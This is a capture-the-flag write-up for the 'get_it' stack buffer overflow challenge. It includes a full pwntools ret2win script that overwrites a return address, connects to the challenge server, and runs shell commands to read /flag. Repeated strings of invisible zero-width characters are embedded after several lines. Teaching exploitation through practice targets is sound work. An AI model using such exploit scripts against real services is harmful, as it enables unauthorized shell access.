← Back to Writeups
CUSTOMEasypwn

get_it (csaw18q_getit)

XESXOR9/2/20263 min read
#pwn#custom#easy#movaps_alignment_fallback#ret2win#return_address_overwrite#stack_buffer_overflow#linux

get_it (csaw18q_getit)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: movaps_alignment_fallback, ret2win, return_address_overwrite, stack_buffer_overflow

Summary

Task: NON-PIE x86-64 binary reads input with unbounded gets() into a 0x20 stack buffer; a give_shell() function calling system("/bin/sh") already exists. Solution: classic ret2win — overflow 0x28 bytes (buf + saved rbp) and overwrite the saved return address with the address of give_shell to spawn a shell and read /flag.

get_it (csaw18q_getit) — pwn_spbctf

Description

Флаг лежит в /flag

(English: "The flag is in /flag.") This is the original CSAW 2018 quals get_it challenge, re-hosted on pwn.spbctf.ru as the pwn6 "Добор" (extra) tier, category Pointers. Author: Anatoly Korniltsev (@korniltsev).

Remote: nc 109.233.56.90 11509.

The goal is to spawn a shell on the remote service and read the flag from /flag.

Analysis

The provided binary csaw18q_getit is a 64-bit ELF with weak protections:

  • NON-PIE — loaded at the fixed base 0x400000, so all gadget/function addresses are static and known at compile time.
  • NX enabled — stack is not executable, so no shellcode on the stack.
  • Partial RELRO.
  • No stack canary — stack smashing is not detected.
  • Not stripped — symbols are present, including a convenient win function. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two functions matter:

  • main @ 0x401175: prints a prompt with puts(), then calls gets(buf) where buf = [rbp-0x20]. gets() performs an unbounded read, giving a classic stack buffer overflow.
  • give_shell @ 0x401162: calls system("/bin/sh") (the "/bin/sh" string lives at 0x402004). This is a ready-made ret2win target — no need to leak libc or build a ROP chain.

Because the binary is NON-PIE and ships its own system("/bin/sh") gadget, the exploit reduces to overwriting the saved return address with the address of give_shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Stack layout in main:

[rbp-0x20]  buf            <- gets() writes here, unbounded
   ...      (0x20 bytes of buffer)
[rbp+0x00]  saved rbp      <- 8 bytes
[rbp+0x08]  saved RET      <- overwrite this

Offset from the start of buf to the saved return address:

offset = 0x20 (buffer size) + 8 (saved rbp) = 0x28 = 40 bytes

Payload:

payload = b"A" * 0x28 + p64(0x401162)   # 0x401162 = give_shell

On this target, returning directly into give_shell worked with no movaps SSE-alignment crash, so no extra ret gadget was needed. Fallbacks were prepared in case of a 16-byte stack alignment fault: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • prepend a bare ret gadget at 0x401016 to realign the stack before the call system inside give_shell, or
  • jump to give_shell + 1 (0x401163) to skip the push rbp and shift alignment.

After landing in give_shell, the shell runs cat /flag to recover the flag.

Solve script

python
#!/usr/bin/env python3
from pwn import *

HOST, PORT = '109.233.56.90', 11509
context.arch = 'amd64'

give_shell = 0x401162
ret_gadget = 0x401016          # bare `ret` for 16-byte stack alignment (fallback)
OFFSET = 0x28                  # 0x20 buf + 8 saved rbp
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def try_payload(chain, label):
    log.info('Trying: %s' % label)
    io = remote(HOST, PORT, timeout=30)
    io.recvuntil(b'?', timeout=10)            # prompt "Do you get it?"
    io.sendline(b'A' * OFFSET + chain)        # overflow + ret2win
    io.sendline(b'cat /flag; echo END_MARKER; ls -la /')
    time.sleep(1.5)
    data = io.recvall(timeout=8)
    io.close()
    m = re.search(rb'spbctf\{[^}]*\}', data)
    return m.group().decode() if m else None

# Attempt 1: direct give_shell — worked here, no alignment crash
flag = try_payload(p64(give_shell), 'direct give_shell 0x401162')
# Fallbacks (unused on this target):
if not flag:
    time.sleep(35)                            # respect rate limit
    flag = try_payload(p64(ret_gadget) + p64(give_shell), 'ret-align + give_shell')
if not flag:
    time.sleep(35)
    flag = try_payload(p64(give_shell + 1), 'give_shell+1 (skip push rbp)')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print('FLAG:', flag)

Submitting the recovered flag via the platform's POST flag flips the tile to "solved".

Tooling note (reusable)

On an arm64 macOS host there is no x86 objdump, and pwntools disasm/asm can fail for amd64. Read raw instruction bytes directly with ELF.read() to confirm gadget addresses, and validate the exploit against the remote service rather than relying on local disassembly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍